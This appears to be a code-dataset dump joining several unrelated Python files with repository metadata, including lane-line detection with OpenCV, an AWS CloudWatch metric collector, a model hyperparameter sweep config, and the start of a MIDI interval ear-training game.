Frame width self.frame_width = frame_width self.midpoint_width = np.int(frame_width//2) # y values self.ploty = np.linspace(0, frame_height-1, frame_height) # Polynomial fit dimension self.poly_fit_dim = 2 # FRAME self.Frame = img_RGB_in # Binary image for current frame self.img_BIN_in = img_BIN_in # Histogram for current frame self.histogram = None # RGB image for output of current frame self.img_RGB_out = img_RGB_in # Current number of consecutive failed frames self.num_failed_frame_curr = 0 # Number of frames processed self.frame_num = 0 # TEXT self.font = cv2.FONT_HERSHEY_SIMPLEX self.Ofst_Text_pos = (20,500) self.Rad_L_Text_pos = (20,550) self.Rad_R_Text_pos = (20,600) self.fontScale = 1 self.fontColor = (255,255,255) self.lineType = 2 # HYPERPARAMETERS # Choose the number of sliding windows self.nwindows = 9 # Set the width of the windows +/- margin self.margin_hist = 100 # Set the width of the windows +/- margin self.margin_poly = 100 # Set minimum number of pixels found to re-center window self.minpix = 50 # Number of windows that must contain minpix number of pixels for lane line to be considered valid self.nwindow_fnd = 5 # Number of pixels that must be found for poly search method to be considered valid self.minpix_poly = 300 # Set height of windows - based on nwindows above and image shape self.window_height = np.int(frame_height//self.nwindows) # Define conversions in x and y from pixels space to meters self.x_width_pix = 700 #pixel width of lane self.y_height_pix = 720 #pixel height of lane (frame height) self.xm_per_pix = 3.7/self.x_width_pix # meters per pixel in x dimension self.ym_per_pix = 30/self.y_height_pix # meters per pixel in y dimension # Number of frames that failed to find lane lines before reset self.num_failed_frame_alwd = 25 # Number of frames for rolling average filter self.filt_size = 25 # LINE PARAMETERS # was the left line detected in the current frame self.detected_L = False self.detected_R = False # x values of the last n fits of the left line self.x_fit_all_L = np.empty((0,self.ploty.size), dtype='float') self.x_fit_all_R = np.empty((0,self.ploty.size), dtype='float') #average x values of the fitted left line over the last n iterations self.x_fit_best_L = np.zeros((self.ploty.size), dtype='float') self.x_fit_best_R = np.zeros((self.ploty.size), dtype='float') #polynomial coefficients for the most recent fit self.coef_fit_current_L = np.zeros((self.poly_fit_dim+1), dtype='float') self.coef_fit_current_R = np.zeros((self.poly_fit_dim+1), dtype='float') #polynomial coefficients for the previous n iterations self.coef_fit_all_L = np.empty((0,self.poly_fit_dim+1), dtype='float') self.coef_fit_all_R = np.empty((0,self.poly_fit_dim+1), dtype='float') #polynomial coefficients averaged over the last n iterations self.coef_fit_best_L = np.zeros((self.poly_fit_dim+1), dtype='float') self.coef_fit_best_R = np.zeros((self.poly_fit_dim+1), dtype='float') #radius of curvature of the line in [m] self.radius_of_curvature_L = 0 self.radius_of_curvature_R = 0 #distance in meters of vehicle center from the line self.center_line_offst = 0 #difference in fit coefficients between last and new fits # self.diffs = np.array([0,0,0], dtype='float') return def update_frame(self,img_RGB_in): ''' Stores the new frame in memory ''' self.Frame = img_RGB_in self.histogram = None self.img_RGB_out = img_RGB_in return def hist(self): ''' Calculate histogram of points ''' #Grab only the bottom half of the image #Lane lines are likely to be mostly vertical nearest to the car #Sum across image pixels vertically - make sure to set an `axis` #i.e. the highest areas of vertical lines should be larger values self.histogram = np.sum(self.img_BIN_in[self.img_BIN_in.shape[0]//2:,:], axis=0) return def find_lane_pixels_hist(self): ''' Find lane pixels with histogram method ''' # Reset previous rolling average queues self.x_fit_all_L = np.empty((0,self.ploty.size), dtype='float') self.x_fit_all_R = np.empty((0,self.ploty.size), dtype='float') self.coef_fit_all_L = np.empty((0,self.poly_fit_dim+1), dtype='float') self.coef_fit_all_R = np.empty((0,self.poly_fit_dim+1), dtype='float') # Take a histogram of the bottom half of the image self.hist() # Create an output image to draw on and visualize the result self.img_RGB_out = np.dstack((self.img_BIN_in, self.img_BIN_in, self.img_BIN_in)) # Find the peak of the left and right halves of the histogram # These will be the starting point for the left and right lines midpoint_height = np.int(self.histogram.shape[0]//2) leftx_base = np.argmax(self.histogram[:midpoint_height]) rightx_base = np.argmax(self.histogram[midpoint_height:]) + midpoint_height # Identify the x and y positions of all nonzero pixels in the image nonzero = self.img_BIN_in.nonzero() nonzeroy = np.array(nonzero[0]) nonzerox = np.array(nonzero[1]) # Current positions to be updated later for each window in nwindows leftx_current = leftx_base rightx_current = rightx_base # Create empty lists to receive left and right lane pixel indices left_lane_inds = [] right_lane_inds = [] # Counter of valid windows found cnt_wdw_fnd_L = 0 cnt_wdw_fnd_R = 0 #Step through the windows one by one for window in range(self.nwindows): # Identify window boundaries in x and y (and right and left) win_y_low = self.img_BIN_in.shape[0] - (window+1)*self.window_height win_y_high = self.img_BIN_in.shape[0] - window*self.window_height win_xleft_low = leftx_current - self.margin_hist win_xleft_high = leftx_current + self.margin_hist win_xright_low = rightx_current - self.margin_hist win_xright_high = rightx_current + self.margin_hist # Draw the windows on the visualization image cv2.rectangle(self.img_RGB_out,(win_xleft_low,win_y_low), (win_xleft_high,win_y_high),(0,255,0), 2) cv2.rectangle(self.img_RGB_out,(win_xright_low,win_y_low), (win_xright_high,win_y_high),(0,255,0), 2) # Identify the nonzero pixels in x and y within the window good_left_inds = ((nonzeroy >= win_y_low) & (nonzeroy < win_y_high) & (nonzerox >= win_xleft_low) & (nonzerox < win_xleft_high)).nonzero()[0] good_right_inds = ((nonzeroy >= win_y_low) & (nonzeroy < win_y_high) & (nonzerox >= win_xright_low) & (nonzerox < win_xright_high)).nonzero()[0] # Append these indices to the lists left_lane_inds.append(good_left_inds) right_lane_inds.append(good_right_inds) # If you found > minpix pixels, re-center next window on their mean position (otherwise keep previous window x position) if len(good_left_inds) > self.minpix: cnt_wdw_fnd_L = cnt_wdw_fnd_L + 1 leftx_current = np.int(np.mean(nonzerox[good_left_inds])) if len(good_right_inds) > self.minpix: cnt_wdw_fnd_R = cnt_wdw_fnd_R + 1 self.detected_R = True rightx_current = np.int(np.mean(nonzerox[good_right_inds])) # Create numpy arrays of indices left_lane_inds = np.concatenate(left_lane_inds) right_lane_inds = np.concatenate(right_lane_inds) # Determine if valid number of windows was found with pixels self.detected_L = (self.frame_num == 0) or (cnt_wdw_fnd_L >= self.nwindow_fnd) self.detected_R = (self.frame_num == 0) or (cnt_wdw_fnd_R >= self.nwindow_fnd) # Color in left and right line pixels self.img_RGB_out[nonzeroy[left_lane_inds], nonzerox[left_lane_inds]] = [255, 0, 0] self.img_RGB_out[nonzeroy[right_lane_inds], nonzerox[right_lane_inds]] = [0, 0, 255] # Extract left and right line pixel positions leftx = nonzerox[left_lane_inds] lefty = nonzeroy[left_lane_inds] rightx = nonzerox[right_lane_inds] righty = nonzeroy[right_lane_inds] return leftx, lefty, rightx, righty def fit_polynomial(self,x,y): # Fit a second order polynomial to data using `np.polyfit` # coef_fit = [A, B, C] of y = A*x^2 + B*x + C coef_fit = np.polyfit(y, x, self.poly_fit_dim) # Generate x and y values for plotting x_fit = coef_fit[0]*self.ploty**2 + coef_fit[1]*self.ploty + coef_fit[2] # Limit x_fit by size of frame x_fit = np.minimum(np.maximum(x_fit,0),self.frame_width-1) # Visualization # Colors in the activated pixels self.img_RGB_out[y, x] = [255, 0, 0] # Colors in the poly line self.img_RGB_out[self.ploty.astype(int), x_fit.astype(int)] = [255, 255, 0] return coef_fit, x_fit def find_lane_pixels_poly(self): ''' Search around polynomial for new lane pixels ''' # Grab activated pixels nonzero = self.img_BIN_in.nonzero() nonzeroy = np.array(nonzero[0]) nonzerox = np.array(nonzero[1]) # Set the area of search based on activated x-values # within the +/- margin of our polynomial function (from previous frame) left_lane_inds = ((nonzerox > (self.coef_fit_current_L[0]*(nonzeroy**2) + self.coef_fit_current_L[1]*nonzeroy + self.coef_fit_current_L[2] - self.margin_poly)) & (nonzerox < (self.coef_fit_current_L[0]*(nonzeroy**2) + self.coef_fit_current_L[1]*nonzeroy + self.coef_fit_current_L[2] + self.margin_poly))) right_lane_inds = ((nonzerox > (self.coef_fit_current_R[0]*(nonzeroy**2) + self.coef_fit_current_R[1]*nonzeroy + self.coef_fit_current_R[2] - self.margin_poly)) & (nonzerox < (self.coef_fit_current_R[0]*(nonzeroy**2) + self.coef_fit_current_R[1]*nonzeroy + self.coef_fit_current_R[2] + self.margin_poly))) # Extract left and right line pixel positions leftx = nonzerox[left_lane_inds] lefty = nonzeroy[left_lane_inds] rightx = nonzerox[right_lane_inds] righty = nonzeroy[right_lane_inds] # Determine pixel find validity self.detected_L = len(leftx) > self.minpix_poly self.detected_R = len(rightx) > self.minpix_poly if (self.detected_L and self.detected_R): # Prepare output RGB image self.img_RGB_out = np.dstack((self.img_BIN_in, self.img_BIN_in, self.img_BIN_in)) # Visualization # Create an image to draw on and an image to show the selection window # out_img = np.dstack((img_bin, img_bin, img_bin))*255 window_img = np.zeros_like(self.img_RGB_out) # Color in left and right line pixels self.img_RGB_out[nonzeroy[left_lane_inds], nonzerox[left_lane_inds]] = [255, 0, 0] self.img_RGB_out[nonzeroy[right_lane_inds], nonzerox[right_lane_inds]] = [0, 0, 255] # Generate a polygon to illustrate the search window area # And recast the x and y points into usable format for cv2.fillPoly() coef_tmp_L, x_fit_L = self.fit_polynomial(leftx,lefty) coef_tmp_R, x_fit_R = self.fit_polynomial(rightx,righty) left_line_window1 = np.array([np.transpose(np.vstack([x_fit_L-self.margin_poly, self.ploty]))]) left_line_window2 = np.array([np.flipud(np.transpose(np.vstack([x_fit_L+self.margin_poly, self.ploty])))]) left_line_pts = np.hstack((left_line_window1, left_line_window2)) right_line_window1 = np.array([np.transpose(np.vstack([x_fit_R-self.margin_poly, self.ploty]))]) right_line_window2 = np.array([np.flipud(np.transpose(np.vstack([x_fit_R+self.margin_poly, self.ploty])))]) right_line_pts = np.hstack((right_line_window1, right_line_window2)) # Draw the lane onto the warped blank image cv2.fillPoly(window_img, np.int_([left_line_pts]), (0,255, 0)) cv2.fillPoly(window_img, np.int_([right_line_pts]), (0,255, 0)) self.img_RGB_out = cv2.addWeighted(self.img_RGB_out, 1, window_img, 0.3, 0) # Plot the polynomial lines onto the image # plt.plot(left_fitx, ploty, color='yellow') # plt.plot(right_fitx, ploty, color='yellow') # End visualization steps return leftx, lefty, rightx, righty def calc_best(self): ''' Perform rolling average on polynomials to determine best fit. ''' # Reset best self.coef_fit_best_L = np.zeros((self.poly_fit_dim+1), dtype='float') self.coef_fit_best_R = np.zeros((self.poly_fit_dim+1), dtype='float') self.x_fit_best_L = np.zeros((self.ploty.size), dtype='float') self.x_fit_best_R = np.zeros((self.ploty.size), dtype='float') # Check if size of queue is larger than filter size if (self.x_fit_all_L.shape[0] > self.filt_size): self.x_fit_all_L = np.delete(self.x_fit_all_L,(0),axis=0) self.x_fit_all_R = np.delete(self.x_fit_all_R,(0),axis=0) self.coef_fit_all_L = np.delete(self.coef_fit_all_L,(0),axis=0) self.coef_fit_all_R = np.delete(self.coef_fit_all_R,(0),axis=0) # Loop through and compute average n = self.x_fit_all_L.shape[0] for row in range(n): for col_x_fit in range(self.x_fit_all_L.shape[1]): self.x_fit_best_L[col_x_fit] = self.x_fit_best_L[col_x_fit] + self.x_fit_all_L[row,col_x_fit] self.x_fit_best_R[col_x_fit] = self.x_fit_best_R[col_x_fit] + self.x_fit_all_R[row,col_x_fit] for col_coef_fit in range(self.coef_fit_all_L.shape[1]): self.coef_fit_best_L[col_coef_fit] = self.coef_fit_best_L[col_coef_fit] + self.coef_fit_all_L[row,col_coef_fit] self.coef_fit_best_R[col_coef_fit] = self.coef_fit_best_R[col_coef_fit] + self.coef_fit_all_R[row,col_coef_fit] self.x_fit_best_L = self.x_fit_best_L/n self.x_fit_best_R = self.x_fit_best_R/n self.coef_fit_best_L = self.coef_fit_best_L/n self.coef_fit_best_R = self.coef_fit_best_R/n return def calc_rad_real(self): ''' Calculates the radius of polynomial functions in meters. ''' # Convert parabola coefficients into pixels A_L = self.xm_per_pix / (self.ym_per_pix**2) * self.coef_fit_best_L[0] B_L = self.xm_per_pix / (self.ym_per_pix) * self.coef_fit_best_L[1] A_R = self.xm_per_pix / (self.ym_per_pix**2) * self.coef_fit_best_R[0] B_R = self.xm_per_pix / (self.ym_per_pix) * self.coef_fit_best_R[1] # Define y-value where we want radius of curvature # We'll choose the maximum y-value, corresponding to the bottom of the image y_eval = (self.frame_height - 1)*self.ym_per_pix # Calculation of R_curve (radius of curvature) self.radius_of_curvature_L = ((1 + (2*A_L*y_eval + B_L)**2)**1.5) / np.absolute(2*A_L) self.radius_of_curvature_R = ((1 + (2*A_R*y_eval + B_R)**2)**1.5) / np.absolute(2*A_R) return def calc_offset(self): ''' Calculates the offset between vehicle and center of lane ''' self.center_line_offst = abs(self.midpoint_width - (self.x_fit_best_L[-1] + self.x_fit_best_R[-1])/2) * self.xm_per_pix return def find_lane_lines(self): ''' Find lane lines with an appropriate method ''' ## Find lane pixels # If left or right detection from previous loop is false: Use histogram method if (not(self.detected_L)) or (not(self.detected_R)): print("Histogram search method used.") # Call histogram method to find pixel locations of lanes and determine current frame detection validity leftx, lefty, rightx, righty = self.find_lane_pixels_hist() else: print("Polynomial search method used") # Call poly search method to find pixel locations of lanes and determine current frame detection validity leftx, lefty, rightx, righty = self.find_lane_pixels_poly() if (not(self.detected_L)) or (not(self.detected_R)): print("Polynomial search method failed. Histogram search method used.") # Neither lane was found, must use histogram method leftx, lefty, rightx, righty = self.find_lane_pixels_hist() ## Check if both lane lines were found if (self.detected_L and self.detected_R): # Reset failed counter self.num_failed_frame_curr = 0 # Fit new polynomials for both lanes self.coef_fit_current_L, x_fit_L = self.fit_polynomial(leftx,lefty) self.coef_fit_current_R, x_fit_R = self.fit_polynomial(rightx,righty) # Append x_fit to list self.x_fit_all_L = np.vstack((self.x_fit_all_L, x_fit_L)) self.x_fit_all_R = np.vstack((self.x_fit_all_R, x_fit_R)) # Append coefficients to list self.coef_fit_all_L = np.vstack((self.coef_fit_all_L, self.coef_fit_current_L)) self.coef_fit_all_R = np.vstack((self.coef_fit_all_R, self.coef_fit_current_R)) # Calculate rolling average self.calc_best() else: # Increment failed counter self.num_failed_frame_curr = self.num_failed_frame_curr + 1 print("Number of failed frames: " + str(self.num_failed_frame_curr)) # Do not compute new polynomial, use previous best # Check if number of consecutive failed frames has exceed max if (self.num_failed_frame_curr > self.num_failed_frame_alwd): print("Number of consecutive failed frames exceeded.") sys.exit() # Calculate radius of curvature self.calc_rad_real() # Calculate center line offset self.calc_offset() return def draw_frame(self,img_RGB_in): ''' Draws the frame with desired polynomials in original image perspective ''' print("\n") #print("Processing Frame # " + str(self.frame_num)) # Store new frame self.update_frame(img_RGB_in) # Calculate binary image of color and gradient thresholds self.img_BIN_in = grad_thresh(top_down_xfrm(color_thresh(undistort(img_RGB_in),RGB_out=True),frwd=True),RGB_out=False) # Create an image to draw the lines on warp_zero = np.zeros_like(self.img_BIN_in).astype(np.uint8) color_warp = np.dstack((warp_zero, warp_zero, warp_zero)) # Find lane lines self.find_lane_lines() # Recast the x and y points into usable format for cv2.fillPoly() pts_left = np.array([np.transpose(np.vstack([self.x_fit_best_L, self.ploty]))]) pts_right = np.array([np.flipud(np.transpose(np.vstack([self.x_fit_best_R, self.ploty])))]) pts = np.hstack((pts_left, pts_right)) # Draw the lane onto the warped blank image cv2.fillPoly(color_warp, np.int_([pts]), (0,255, 0)) # Warp the blank back to original image space using inverse perspective matrix (Minv) newwarp = cv2.warpPerspective(color_warp, Minv, (img_RGB_in.shape[1], img_RGB_in.shape[0])) # Combine the result with the original image self.Frame = cv2.addWeighted(img_RGB_in, 1, newwarp, 0.3, 0) # Draw text on image cv2.putText(self.Frame,"Lane Center Offset [m]: " + str(round(self.center_line_offst,2)),self.Ofst_Text_pos,self.font,self.fontScale,self.fontColor,self.lineType) cv2.putText(self.Frame,"Radius Left [m]: " + str(round(self.radius_of_curvature_L,0)),self.Rad_L_Text_pos,self.font,self.fontScale,self.fontColor,self.lineType) cv2.putText(self.Frame,"Radius Right [m]: " + str(round(self.radius_of_curvature_R,0)),self.Rad_R_Text_pos,self.font,self.fontScale,self.fontColor,self.lineType) self.frame_num = self.frame_num + 1 #print("Left Radius: " + str(self.radius_of_curvature_L)) #print("Right Radius: " + str(self.radius_of_curvature_R)) #print("Lane Center Offset: " + str(lane_lines.center_line_offst)) #return(self.img_RGB_out) return(self.Frame) # Sample histogram if (False): img = mpimg.imread('test_images/test6.jpg') img_BIN_in = grad_thresh(top_down_xfrm(color_thresh(undistort(img),RGB_out=True),frwd=True),RGB_out=False); lane_lines = LaneLines(img,img_BIN_in) lane_lines.hist() histogram = lane_lines.histogram plt.figure(7) plt.imshow(img) plt.title('Original Image') plt.savefig('output_images/original_histogram.png') plt.figure(8) plt.imshow(img_BIN_in, cmap='gray') plt.title('Original Binary Image') plt.savefig('output_images/original_bin_histogram.png') plt.figure(9) plt.plot(histogram) plt.title('Histogram') plt.savefig('output_images/histogram.png') plt.show() # Sample polyfit with histogram search if (False): img = mpimg.imread('test_images/test6.jpg') plt.figure(10) plt.imshow(img) plt.title('Original Image') img_BIN_in = grad_thresh(top_down_xfrm(color_thresh(undistort(img),RGB_out=True),frwd=True),RGB_out=False) lane_lines = LaneLines(img,img_BIN_in) # Search for lane lines using histogram method leftx, lefty, rightx, righty = lane_lines.find_lane_pixels_hist() # Fit new polynomials for both lanes lane_lines.coef_fit_current_L, x_fit_L = lane_lines.fit_polynomial(leftx,lefty) lane_lines.coef_fit_current_R, x_fit_R = lane_lines.fit_polynomial(rightx,righty) print("Current Left Coefficients: " + str(lane_lines.coef_fit_current_L)) print("Current Right Coefficients: " + str(lane_lines.coef_fit_current_R)) plt.figure(11) plt.imshow(lane_lines.img_RGB_out) plt.title('2nd Order Polynomial Fit - Histogram Search Method') plt.savefig('output_images/poly_hist.png') # Sample search around poly if (False): # Append x_fit to list lane_lines.x_fit_all_L = np.vstack((lane_lines.x_fit_all_L, x_fit_L)) lane_lines.x_fit_all_R = np.vstack((lane_lines.x_fit_all_R, x_fit_R)) # Append coefficients to list lane_lines.coef_fit_all_L = np.vstack((lane_lines.coef_fit_all_L, lane_lines.coef_fit_current_L)) lane_lines.coef_fit_all_R = np.vstack((lane_lines.coef_fit_all_R, lane_lines.coef_fit_current_R)) print("All Left Coefficients: " + str(lane_lines.coef_fit_all_L)) print("All Right Coefficients: " + str(lane_lines.coef_fit_all_R)) # Calculate rolling average lane_lines.calc_best() print("Best Left Coefficients: " + str(lane_lines.coef_fit_best_L)) print("Best Right Coefficients: " + str(lane_lines.coef_fit_best_R)) # Calculate real radius of curvature lane_lines.calc_rad_real() print("Left Radius: " + str(lane_lines.radius_of_curvature_L)) print("Right Radius: " + str(lane_lines.radius_of_curvature_R)) lane_lines.calc_offset() print("Center Lane Offset: " + str(lane_lines.center_line_offst)) # Search for lane lines around previous best polynomial leftx, lefty, rightx, righty = lane_lines.find_lane_pixels_poly() # Fit new polynomials for both lanes lane_lines.coef_fit_current_L, x_fit_L = lane_lines.fit_polynomial(leftx,lefty) lane_lines.coef_fit_current_R, x_fit_R = lane_lines.fit_polynomial(rightx,righty) plt.figure(12) plt.imshow(lane_lines.img_RGB_out) plt.title('2nd Order Polynomial Fit - Polynomial Search Method') plt.savefig('output_images/poly_poly.png') plt.show() # Test full pipeline if (True): img = mpimg.imread('test_images/test6.jpg') lane_lines = LaneLines(img,img) plt.figure(13) plt.imshow(img) plt.title('Original Image') plt.figure(14) plt.imshow(lane_lines.draw_frame(img)) plt.title('Found Lines') plt.savefig('output_images/full_pipeline.png') plt.show() ## Process video if (False): img = mpimg.imread('test_images/test6.jpg') lane_lines = LaneLines(img,img) video_output = 'output_videos/challenge_video_processed.mp4' #video_output = 'output_videos/project_video_processed.mp4' ## To speed up the testing process you may want to try your pipeline on a shorter subclip of the video ## To do so add .subclip(start_second,end_second) to the end of the line below ## Where start_second and end_second are integer values representing the start and end of the subclip ## You may also uncomment the following line for a subclip of the first 5 seconds ##clip1 = VideoFileClip("test_videos/solidWhiteRight.mp4").subclip(0,5) clip = VideoFileClip("test_videos/challenge_video.mp4") video_clip = clip.fl_image(lane_lines.draw_frame) #NOTE: this function expects color images!! video_clip.write_videofile(video_output, audio=False)
46.28447
314
0.648448
22,127
0.693854
0
0
0
0
0
0
9,934
0.311508
d5807ccd0fe241a944ff08bce957e0086ab7a9c8
3,772
py
Python
platforms/aws.py
HyechurnJang/c3mon
f5e053141372d39684e192e7c6d956125109b3c1
[ "Apache-2.0" ]
null
null
null
platforms/aws.py
HyechurnJang/c3mon
f5e053141372d39684e192e7c6d956125109b3c1
[ "Apache-2.0" ]
null
null
null
platforms/aws.py
HyechurnJang/c3mon
f5e053141372d39684e192e7c6d956125109b3c1
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- ''' Created on 2017. 12. 22. @author: HyechurnJang ''' import boto3 from datetime import datetime, timedelta class AWS: def __init__(self): self.ec2 = boto3.resource('ec2') self.cw = boto3.client('cloudwatch') def getVMs(self): aws = [] instances = self.ec2.instances.filter( Filters=[{'Name': 'instance-state-name', 'Values': ['running']}] ) for instance in instances: print instance.id, desc = { 'id' : instance.id, 'publicIp' : instance.public_ip_address, 'privateIp' : instance.private_ip_address, 'metric' : {} } print 'OK' aws.append(desc) return {'amazon' : aws} def getMetric(self, vms): end = datetime.utcnow() start = end - timedelta(seconds=600) for vm in vms: try: cpu = self.cw.get_metric_statistics( Period=60, StartTime=start, EndTime=end, MetricName='CPUUtilization', Namespace='AWS/EC2', Statistics=['Average'], Dimensions=[ {'Name' : 'InstanceId', 'Value' : vm['id']} ] ) vm['metric']['cpu'] = cpu['Datapoints'][0]['Average'] net_in = self.cw.get_metric_statistics( Period=60, StartTime=start, EndTime=end, MetricName='NetworkIn', Namespace='AWS/EC2', Statistics=['Average'], Dimensions=[ {'Name' : 'InstanceId', 'Value' : vm['id']} ] ) vm['metric']['netIn'] = net_in['Datapoints'][0]['Average'] net_out = self.cw.get_metric_statistics( Period=60, StartTime=start, EndTime=end, MetricName='NetworkOut', Namespace='AWS/EC2', Statistics=['Average'], Dimensions=[ {'Name' : 'InstanceId', 'Value' : vm['id']} ] ) vm['metric']['netOut'] = net_out['Datapoints'][0]['Average'] disk_read = self.cw.get_metric_statistics( Period=60, StartTime=start, EndTime=end, MetricName='DiskReadBytes', Namespace='AWS/EC2', Statistics=['Average'], Dimensions=[ {'Name' : 'InstanceId', 'Value' : vm['id']} ] ) vm['metric']['diskRead'] = disk_read['Datapoints'][0]['Average'] disk_write = self.cw.get_metric_statistics( Period=60, StartTime=start, EndTime=end, MetricName='DiskWriteBytes', Namespace='AWS/EC2', Statistics=['Average'], Dimensions=[ {'Name' : 'InstanceId', 'Value' : vm['id']} ] ) vm['metric']['diskWrite'] = disk_write['Datapoints'][0]['Average'] except Exception as e: print str(e)
35.252336
83
0.391835
3,626
0.961294
0
0
0
0
0
0
678
0.179745
d58122ce2f5990ff0998eb5aff14ea21851d770b
1,700
py
Python
experimental/language_structure/vrnn/experiments/linear_vrnn/multiwoz_synth_bert.py
BlackHC/uncertainty-baselines
1a28be3e41e14d8ab74dfa1e3eed15f113718f03
[ "Apache-2.0" ]
null
null
null
experimental/language_structure/vrnn/experiments/linear_vrnn/multiwoz_synth_bert.py
BlackHC/uncertainty-baselines
1a28be3e41e14d8ab74dfa1e3eed15f113718f03
[ "Apache-2.0" ]
null
null
null
experimental/language_structure/vrnn/experiments/linear_vrnn/multiwoz_synth_bert.py
BlackHC/uncertainty-baselines
1a28be3e41e14d8ab74dfa1e3eed15f113718f03
[ "Apache-2.0" ]
null
null
null
# coding=utf-8 # Copyright 2022 The Uncertainty Baselines Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. r"""Vizier for linear VRNN for MultiWoZSynthDataset. """ import multiwoz_synth_tmpl as tmpl # local file import from experimental.language_structure.vrnn.experiments.linear_vrnn def get_config(): """Returns the configuration for this experiment.""" config = tmpl.get_config( shared_bert_embedding=True, bert_embedding_type='base') config.platform = 'df' config.tpu_topology = '4x2' config.max_task_failures = -1 config.max_per_task_failures = 10 return config def get_sweep(hyper): """Returns hyperparameter sweep.""" domain = [ hyper.sweep('config.word_weights_file_weight', hyper.discrete([0.25 * i for i in range(5)])), hyper.sweep('config.psl_constraint_learning_weight', hyper.discrete([0., 0.001, 0.005, 0.01, 0.05, 0.1])), hyper.sweep('config.model.vae_cell.encoder_hidden_size', hyper.discrete([200, 300, 400])), hyper.sweep('config.base_learning_rate', hyper.discrete([3e-5, 5e-5, 1e-4, 3e-4])) ] sweep = hyper.product(domain) return sweep
32.692308
121
0.704706
0
0
0
0
0
0
0
0
985
0.579412
d581520a36615c52af59cc8c463ee9a8af5f732e
1,201
py
Python
src/ufdl/json/core/filter/_FilterSpec.py
waikato-ufdl/ufdl-json-messages
408901bdf79aa9ae7cff1af165deee83e62f6088
[ "Apache-2.0" ]
null
null
null
src/ufdl/json/core/filter/_FilterSpec.py
waikato-ufdl/ufdl-json-messages
408901bdf79aa9ae7cff1af165deee83e62f6088
[ "Apache-2.0" ]
null
null
null
src/ufdl/json/core/filter/_FilterSpec.py
waikato-ufdl/ufdl-json-messages
408901bdf79aa9ae7cff1af165deee83e62f6088
[ "Apache-2.0" ]
null
null
null
from typing import List from wai.json.object import StrictJSONObject from wai.json.object.property import ArrayProperty, OneOfProperty, BoolProperty from .field import * from .logical import * from ._FilterExpression import FilterExpression from ._OrderBy import OrderBy class FilterSpec(StrictJSONObject['FilterSpec']): """ The top-level document describing how to filter a list request. """ # The sequential stages of filters of the list request expressions: List[FilterExpression] = ArrayProperty( element_property=OneOfProperty( sub_properties=( And.as_property(), Or.as_property(), *(field_filter_expression.as_property() for field_filter_expression in ALL_FIELD_FILTER_EXPRESSIONS) ) ), optional=True ) # An optional final ordering on the result, in order of precedence order_by: List[OrderBy] = ArrayProperty( element_property=OrderBy.as_property(), optional=True ) # An optional flag to include soft-deleted models as well include_inactive: bool = BoolProperty( optional=True, default=False )
30.025
79
0.677769
925
0.770192
0
0
0
0
0
0
268
0.223147
d582ca9816237ee2b7fbc9eac1fc86001c97f980
290
py
Python
basecam/__init__.py
sdss/baseCam
d5222f2c93df8e5b6ef894f32eca28b1cd3b3616
[ "BSD-3-Clause" ]
null
null
null
basecam/__init__.py
sdss/baseCam
d5222f2c93df8e5b6ef894f32eca28b1cd3b3616
[ "BSD-3-Clause" ]
18
2020-01-13T20:57:48.000Z
2021-06-22T14:43:16.000Z
basecam/__init__.py
sdss/basecam
526f8be1b7c83e087e8f78484e63ba18531dce87
[ "BSD-3-Clause" ]
null
null
null
# encoding: utf-8 # flake8: noqa from sdsstools import get_package_version NAME = "sdss-basecam" __version__ = get_package_version(__file__, "sdss-basecam") or "dev" from .camera import * from .events import * from .exceptions import * from .exposure import * from .notifier import *
17.058824
68
0.748276
0
0
0
0
0
0
0
0
64
0.22069
d5837ed5c9e1f4853a3b61828f36313098836798
571
py
Python
temboo/core/Library/Wordnik/Account/__init__.py
jordanemedlock/psychtruths
52e09033ade9608bd5143129f8a1bfac22d634dd
[ "Apache-2.0" ]
7
2016-03-07T02:07:21.000Z
2022-01-21T02:22:41.000Z
temboo/core/Library/Wordnik/Account/__init__.py
jordanemedlock/psychtruths
52e09033ade9608bd5143129f8a1bfac22d634dd
[ "Apache-2.0" ]
null
null
null
temboo/core/Library/Wordnik/Account/__init__.py
jordanemedlock/psychtruths
52e09033ade9608bd5143129f8a1bfac22d634dd
[ "Apache-2.0" ]
8
2016-06-14T06:01:11.000Z
2020-04-22T09:21:44.000Z
from temboo.Library.Wordnik.Account.GetAuthToken import GetAuthToken, GetAuthTokenInputSet, GetAuthTokenResultSet, GetAuthTokenChoreographyExecution from temboo.Library.Wordnik.Account.GetKeyStatus import GetKeyStatus, GetKeyStatusInputSet, GetKeyStatusResultSet, GetKeyStatusChoreographyExecution from temboo.Library.Wordnik.Account.GetUser import GetUser, GetUserInputSet, GetUserResultSet, GetUserChoreographyExecution from temboo.Library.Wordnik.Account.GetWordLists import GetWordLists, GetWordListsInputSet, GetWordListsResultSet, GetWordListsChoreographyExecution
114.2
148
0.901926
0
0
0
0
0
0
0
0
0
0
d5838d0257d9eb7381eaac633cc981dbc3c1bfec
9,691
py
Python
transpose-alsaseq.py
zubilewiczm/transpose
82cfc256555150cec7772584ab5699434f5d94fd
[ "MIT" ]
null
null
null
transpose-alsaseq.py
zubilewiczm/transpose
82cfc256555150cec7772584ab5699434f5d94fd
[ "MIT" ]
null
null
null
transpose-alsaseq.py
zubilewiczm/transpose
82cfc256555150cec7772584ab5699434f5d94fd
[ "MIT" ]
null
null
null
from transpose import * import alsaseq import alsamidi import random # Requires https://github.com/ppaez/alsaseq package. alsaseq.client("pyTranspose", 0, 1, True) class IntervalsGame(Game): """ IntervalsGame(name=None, autosave=True, **settings) : Game A game to practice recognizing asceending, descending or harmonic (simultaneous) intervals by ear. Requires a working MIDI setup. The answers are passed to `Interval.from_name()` before evaluation. Sample question: <a C4 note followed by a E4 note is played> >> M3 (...ok! (+1)) Game settings: → intervals : list of Interval or IntervalClass A list of intervals chosen at random by the game. → adh : str Whether the intervals chosen are ascending ("a"), descending ("d"), or harmonic ("h"). Any combination of these letters makes the game choose one of the options at random (e.g. "ahh" chooses between ascending and harmonic intervals with 50:50 chance for each). → center : MIDInn Average MIDI note number that the game chooses as the first note of the interval. → spread : Integral Maximal difference (in semitones) between the first note of the interval played and the `center`. Question parameters: (ctr, itc, adh), where → ctr → first note of an interval → itc → the interval (determining the second note) → adh → ascending / descending / harmonic `details` queries: Combinations of the following query arguments can be passed to the `details` method. → "intervals"... = "full" (DEFAULT) Lists the correct/total ratios for each interval stored in the game settings separately. = None 